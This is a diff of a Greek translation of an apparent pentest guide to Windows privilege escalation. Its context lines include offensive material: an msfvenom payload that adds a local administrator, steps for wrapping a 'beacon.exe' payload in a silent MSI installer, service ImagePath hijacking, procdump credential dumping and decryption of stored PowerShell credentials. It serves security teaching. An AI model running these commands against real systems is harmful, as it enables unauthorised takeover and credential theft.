+Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Αυτά είναι όπλα MiTM που έχουν μετατραπεί σε εκμεταλλεύσεις για να εισάγουν 'ψευδείς' ενημερώσεις σε μη SSL WSUS κυκλοφορία.
 
 Διαβάστε την έρευνα εδώ:
 
@@ -180,7 +180,7 @@ WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
 
 > Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό χρήστη proxy μας, και οι Ενημερώσεις των Windows χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να εκτελέσουμε [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παγιδεύσουμε τη δική μας κυκλοφορία και να εκτελέσουμε κώδικα ως ανυψωμένος χρήστης στο περιουσιακό μας στοιχείο.
 >
-> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου εμπιστοσύνης κατά την πρώτη χρήση στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία.
+> Επιπλέον, δεδομένου ότι η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης το κατάστημα πιστοποιητικών του. Αν δημιουργήσουμε ένα αυτο-υπογεγραμμένο πιστοποιητικό για το όνομα κεντρικού υπολογιστή WSUS και προσθέσουμε αυτό το πιστοποιητικό στο κατάστημα πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να παγιδεύσουμε τόσο την HTTP όσο και την HTTPS κυκλοφορία WSUS. Η WSUS δεν χρησιμοποιεί μηχανισμούς παρόμοιους με το HSTS για να εφαρμόσει μια επικύρωση τύπου trust-on-first-use στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό όνομα κεντρικού υπολογιστή, θα γίνει αποδεκτό από την υπηρεσία.
 
 Μπορείτε να εκμεταλλευτείτε αυτήν την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις απελευθερωθεί).
 
@@ -216,7 +216,7 @@ Write-UserAddMSI
 
 ### MSI Wrapper
 
-Διαβάστε αυτό το εγχειρίδιο για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**.
+Διαβάστε αυτό το tutorial για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο αν θέλετε **μόνο** να **εκτελέσετε** **γραμμές εντολών**.
 
 {{#ref}}
 msi-wrapper.md
@@ -238,7 +238,7 @@ create-msi-with-wix.md
 - Υπάρχουν άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως ο **Συγγραφέας** και ο **Κατασκευαστής** που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη.
 - Κάντε δεξί κλικ στο έργο και επιλέξτε **Προβολή > Προσαρμοσμένες Ενέργειες**.
 - Κάντε δεξί κλικ στο **Εγκατάσταση** και επιλέξτε **Προσθήκη Προσαρμοσμένης Ενέργειας**.
-- Κάντε διπλό κλικ στον **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload εκτελείται μόλις εκτελείται ο εγκαταστάτης.
+- Κάντε διπλό κλικ στο **Φάκελο Εφαρμογής**, επιλέξτε το αρχείο **beacon.exe** σας και κάντε κλικ στο **OK**. Αυτό θα διασφαλίσει ότι το beacon payload θα εκτελείται μόλις εκτελείται ο εγκαταστάτης.
 - Κάτω από τις **Ιδιότητες Προσαρμοσμένης Ενέργειας**, αλλάξτε το **Run64Bit** σε **True**.
 - Τέλος, **κατασκευάστε το**.
 - Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ρυθμίσει την πλατφόρμα σε x64.
@@ -249,25 +249,25 @@ create-msi-with-wix.md
 ```
 msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
 ```
-Για να εκμεταλλευτείτε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_
+Για να εκμεταλλευτείτε αυτήν την ευπάθεια μπορείτε να χρησιμοποιήσετε: _exploit/windows/local/always_install_elevated_
 
 ## Antivirus και Ανιχνευτές
 
 ### Ρυθμίσεις Ελέγχου
 
-Αυτές οι ρυθμίσεις αποφασίζουν τι καταγράφεται, οπότε θα πρέπει να δώσετε προσοχή
+Αυτές οι ρυθμίσεις αποφασίζουν τι **καταγράφεται**, οπότε θα πρέπει να δώσετε προσοχή
 ```
 reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
 ```
 ### WEF
 
-Η προώθηση συμβάντων των Windows είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα αρχεία καταγραφής.
+Το Windows Event Forwarding είναι ενδιαφέρον να γνωρίζουμε πού αποστέλλονται τα logs.
 ```bash
 reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
 ```
 ### LAPS
 
-**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκή δικαιώματα μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι.
+**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, διασφαλίζοντας ότι κάθε κωδικός πρόσβασης είναι **μοναδικός, τυχαίος και ενημερώνεται τακτικά** σε υπολογιστές που είναι συνδεδεμένοι σε τομέα. Αυτοί οι κωδικοί πρόσβασης αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκείς άδειες μέσω ACLs, επιτρέποντάς τους να δουν τους τοπικούς κωδικούς πρόσβασης διαχειριστή αν είναι εξουσιοδοτημένοι.
 
 {{#ref}}
 ../active-directory-methodology/laps.md
@@ -289,7 +289,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
 ```
 ### Credentials Guard
 
-**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
+**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα διαπιστευτήρια που αποθηκεύονται σε μια συσκευή από απειλές όπως οι επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
 ```bash
 reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 ```
@@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
 
 ### Καταμέτρηση Χρηστών & Ομάδων
 
-Πρέπει να ελέγξετε αν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα
+Πρέπει να ελέγξετε αν κάποια από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα
 ```bash
 # CMD
 net users %username% #Me
@@ -330,7 +330,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
 ### Χειρισμός διακριτικών
 
 **Μάθε περισσότερα** για το τι είναι ένα **διακριτικό** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
-Δες την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς:
+Έλεγξε την παρακάτω σελίδα για να **μάθεις για ενδιαφέροντα διακριτικά** και πώς να τα εκμεταλλευτείς:
 
 {{#ref}}
 privilege-escalation-abusing-tokens.md
@@ -354,12 +354,12 @@ net accounts
 ```bash
 powershell -command "Get-Clipboard"
 ```
-## Εκτελούμενες Διαδικασίες
+## Εκτέλεση Διαδικασιών
 
 ### Άδειες Αρχείων και Φακέλων
 
 Πρώτα απ' όλα, καταγράψτε τις διαδικασίες **ελέγξτε για κωδικούς πρόσβασης μέσα στη γραμμή εντολών της διαδικασίας**.\
-Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο του εκτελέσιμου για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/):
+Ελέγξτε αν μπορείτε να **επικαλύψετε κάποιο εκτελέσιμο που τρέχει** ή αν έχετε άδειες εγγραφής στον φάκελο του εκτελέσιμου για να εκμεταλλευτείτε πιθανές [**επιθέσεις DLL Hijacking**](dll-hijacking/index.html):
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -381,7 +381,7 @@ icacls "%%z"
 )
 )
 ```
-**Έλεγχος δικαιωμάτων των φακέλων των δυαδικών αρχείων διεργασιών (**[**DLL Hijacking**](dll-hijacking/)**)**
+**Έλεγχος δικαιωμάτων των φακέλων των δυαδικών αρχείων διεργασιών (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -391,15 +391,15 @@ todos %username%" && echo.
 ```
 ### Memory Password mining
 
-Μπορείτε να δημιουργήσετε μια μνήμη dump μιας εκτελούμενης διαδικασίας χρησιμοποιώντας **procdump** από το sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials σε καθαρό κείμενο στη μνήμη**, προσπαθήστε να κάνετε dump τη μνήμη και να διαβάσετε τα credentials.
+Μπορείτε να δημιουργήσετε ένα memory dump μιας εκτελούμενης διαδικασίας χρησιμοποιώντας το **procdump** από το sysinternals. Υπηρεσίες όπως το FTP έχουν τα **credentials σε καθαρό κείμενο στη μνήμη**, προσπαθήστε να κάνετε dump τη μνήμη και να διαβάσετε τα credentials.
 ```bash
 procdump.exe -accepteula -ma <proc_name_tasklist>
 ```
 ### Insecure GUI apps
 
-**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να ανοίξει ένα CMD ή να περιηγηθεί σε καταλόγους.**
+**Εφαρμογές που εκτελούνται ως SYSTEM μπορεί να επιτρέπουν σε έναν χρήστη να εκκινήσει ένα CMD ή να περιηγηθεί σε καταλόγους.**
 
-Παράδειγμα: "Windows Help and Support" (Windows + F1), αναζητήστε "command prompt", κάντε κλικ στο "Click to open Command Prompt"
+Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
 
 ## Services
 
@@ -410,7 +410,7 @@ wmic service list brief
 sc query
 Get-Service
 ```
-### Άδειες
+### Permissions
 
 Μπορείτε να χρησιμοποιήσετε **sc** για να αποκτήσετε πληροφορίες σχετικά με μια υπηρεσία
 ```bash
@@ -464,17 +464,17 @@ net stop [service name] && net start [service name]
 ```
 Τα δικαιώματα μπορούν να κλιμακωθούν μέσω διαφόρων αδειών:
 
-- **SERVICE_CHANGE_CONFIG**: Επιτρέπει την αναδιαμόρφωση του δυαδικού αρχείου της υπηρεσίας.
-- **WRITE_DAC**: Ενεργοποιεί την αναδιαμόρφωση αδειών, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
-- **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την αναδιαμόρφωση αδειών.
+- **SERVICE_CHANGE_CONFIG**: Επιτρέπει την επαναδιαμόρφωση του δυαδικού αρχείου της υπηρεσίας.
+- **WRITE_DAC**: Ενεργοποιεί την επαναδιαμόρφωση αδειών, οδηγώντας στην ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
+- **WRITE_OWNER**: Επιτρέπει την απόκτηση ιδιοκτησίας και την επαναδιαμόρφωση αδειών.
 - **GENERIC_WRITE**: Κληρονομεί την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
-- **GENERIC_ALL**: Επίσης κληρονομεί την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
+- **GENERIC_ALL**: Κληρονομεί επίσης την ικανότητα αλλαγής των ρυθμίσεων της υπηρεσίας.
 
 Για την ανίχνευση και εκμετάλλευση αυτής της ευπάθειας, μπορεί να χρησιμοποιηθεί το _exploit/windows/local/service_permissions_.
 
 ### Αδύναμες άδειες δυαδικών αρχείων υπηρεσιών
 
-**Ελέγξτε αν μπορείτε να τροποποιήσετε το δυαδικό αρχείο που εκτελείται από μια υπηρεσία** ή αν έχετε **δικαιώματα εγγραφής στον φάκελο** όπου βρίσκεται το δυαδικό αρχείο ([**DLL Hijacking**](dll-hijacking/))**.**\
+**Ελέγξτε αν μπορείτε να τροποποιήσετε το δυαδικό αρχείο που εκτελείται από μια υπηρεσία** ή αν έχετε **δικαιώματα εγγραφής στον φάκελο** όπου βρίσκεται το δυαδικό αρχείο ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
 Μπορείτε να αποκτήσετε κάθε δυαδικό αρχείο που εκτελείται από μια υπηρεσία χρησιμοποιώντας **wmic** (όχι στο system32) και να ελέγξετε τα δικαιώματά σας χρησιμοποιώντας **icacls**:
 ```bash
 for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
@@ -505,9 +505,9 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "
 ```bash
 reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
 ```
-### Υποχρεώσεις προσβάσεων AppendData/AddSubdirectory στο μητρώο υπηρεσιών
+### Υπηρεσίες μητρώου Άδειες AppendData/AddSubdirectory
 
-Αν έχετε αυτή την άδεια πάνω σε ένα μητρώο, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε υπομητρώα από αυτό**. Στην περίπτωση των υπηρεσιών Windows, αυτό είναι **αρκετό για να εκτελέσετε αυθαίρετο κώδικα:**
+Αν έχετε αυτή την άδεια σε ένα μητρώο, αυτό σημαίνει ότι **μπορείτε να δημιουργήσετε υπομητρώα από αυτό**. Στην περίπτωση των υπηρεσιών Windows, αυτό είναι **αρκετό για να εκτελέσετε αυθαίρετο κώδικα:**
 
 {{#ref}}
 appenddata-addsubdirectory-permission-over-service-registry.md
@@ -523,7 +523,7 @@ C:\Program.exe
 C:\Program Files\Some.exe
 C:\Program Files\Some Folder\Service.exe
 ```
-Καταγράψτε όλα τα μη αναφερόμενα μονοπάτια υπηρεσιών, εξαιρώντας αυτά που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows:
+Καταγράψτε όλα τα μη παρατεταμένα μονοπάτια υπηρεσιών, εξαιρώντας αυτά που ανήκουν σε ενσωματωμένες υπηρεσίες των Windows:
 ```powershell
 wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
 wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services
@@ -549,13 +549,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
 ```
 ### Recovery Actions
 
-Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, η εκμετάλλευση δικαιωμάτων μπορεί να είναι δυνατή. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
+Τα Windows επιτρέπουν στους χρήστες να καθορίσουν ενέργειες που θα ληφθούν εάν μια υπηρεσία αποτύχει. Αυτή η δυνατότητα μπορεί να ρυθμιστεί ώστε να δείχνει σε ένα δυαδικό αρχείο. Εάν αυτό το δυαδικό αρχείο είναι αντικαταστάσιμο, μπορεί να είναι δυνατή η κλιμάκωση δικαιωμάτων. Περισσότερες λεπτομέρειες μπορούν να βρεθούν στην [επίσημη τεκμηρίωση](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
 
 ## Applications
 
 ### Installed Applications
 
-Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να εκμεταλλευτείτε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/)).
+Ελέγξτε **τα δικαιώματα των δυαδικών αρχείων** (ίσως μπορείτε να αντικαταστήσετε ένα και να κλιμακώσετε τα δικαιώματα) και των **φακέλων** ([DLL Hijacking](dll-hijacking/index.html)).
 ```bash
 dir /a "C:\Program Files"
 dir /a "C:\Program Files (x86)"
@@ -646,7 +646,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft
 ```
 ### Ανοιχτές Θύρες
 
-Ελέγξτε για **περιορισμένες υπηρεσίες** από έξω
+Ελέγξτε για **περιορισμένες υπηρεσίες** από το εξωτερικό
 ```bash
 netstat -ano #Opened ports?
 ```
@@ -664,7 +664,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
 
 [**Ελέγξτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος Προστασίας**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)**
 
-Περισσότερες [εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network)
+Περισσότερες[ εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network)
 
 ### Windows Subsystem for Linux (wsl)
 ```bash
@@ -673,7 +673,7 @@ C:\Windows\System32\wsl.exe
 ```
 Το δυαδικό `bash.exe` μπορεί επίσης να βρεθεί στο `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
 
-Αν αποκτήσεις δικαιώματα root, μπορείς να ακούς σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσεις το `nc.exe` για να ακούσεις σε μια θύρα, θα ρωτήσει μέσω GUI αν πρέπει να επιτραπεί το `nc` από το τείχος προστασίας).
+Αν αποκτήσεις δικαιώματα root, μπορείς να ακούσεις σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσεις το `nc.exe` για να ακούσεις σε μια θύρα, θα ρωτήσει μέσω GUI αν πρέπει να επιτραπεί το `nc` από το τείχος προστασίας).
 ```bash
 wsl whoami
 ./ubuntun1604.exe config --default-user root
@@ -700,12 +700,12 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
 ```
 ### Credentials manager / Windows vault
 
-Από [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
-Το Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια Twitter, τα διαπιστευτήρια Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι.
+From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
+Η Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια Twitter, τα διαπιστευτήρια Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι.
 
-Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέσει τους χρήστες αυτόματα, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.
+Η Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέσει τους χρήστες αυτόματα, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς.
 
-Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτή την πηγή** από το προεπιλεγμένο αποθηκευτικό vault.
+Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει την vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτή την πηγή** από την προεπιλεγμένη αποθήκη.
 
 Χρησιμοποιήστε το `cmdkey` για να καταγράψετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή.
 ```bash
@@ -727,7 +727,7 @@ C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\us
 
 ### DPAPI
 
-Η **API Προστασίας Δεδομένων (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, κυρίως χρησιμοποιούμενη στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση εκμεταλλεύεται ένα μυστικό χρήστη ή συστήματος για να συμβάλλει σημαντικά στην εντροπία.
+Η **Δημόσια API Προστασίας Δεδομένων (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, κυρίως χρησιμοποιούμενη στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση εκμεταλλεύεται ένα μυστικό χρήστη ή συστήματος για να συμβάλλει σημαντικά στην εντροπία.
 
 **Η DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά σύνδεσης του χρήστη**. Σε σενάρια που περιλαμβάνουν κρυπτογράφηση συστήματος, χρησιμοποιεί τα μυστικά αυθεντικοποίησης του τομέα του συστήματος.
 
@@ -756,7 +756,7 @@ dpapi-extracting-passwords.md
 
 Οι **PowerShell credentials** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει συνήθως ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν.
 
-Για να **αποκρυπτογραφήσετε** ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε:
+Για να **αποκρυπτογραφήσετε** μια PS credentials από το αρχείο που την περιέχει μπορείτε να κάνετε:
 ```powershell
 PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
 PS C:\> $credential.GetNetworkCredential().username
@@ -795,7 +795,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
 
 ### Sticky Notes
 
-Οι άνθρωποι συχνά χρησιμοποιούν την εφαρμογή StickyNotes σε Windows workstation για να **αποθηκεύσουν κωδικούς πρόσβασης** και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι είναι ένα αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε.
+Οι άνθρωποι συχνά χρησιμοποιούν την εφαρμογή StickyNotes σε υπολογιστές Windows για να **αποθηκεύσουν κωδικούς πρόσβασης** και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι είναι ένα αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε.
 
 ### AppCmd.exe
 
@@ -914,7 +914,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
 Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
 ```
 > [!NOTE]
-> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού.
+> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού.
 
 ### Unattended files
 ```
@@ -976,7 +976,7 @@ AppData\Roaming\gcloud\access_tokens.db
 
 ### Cached GPP Pasword
 
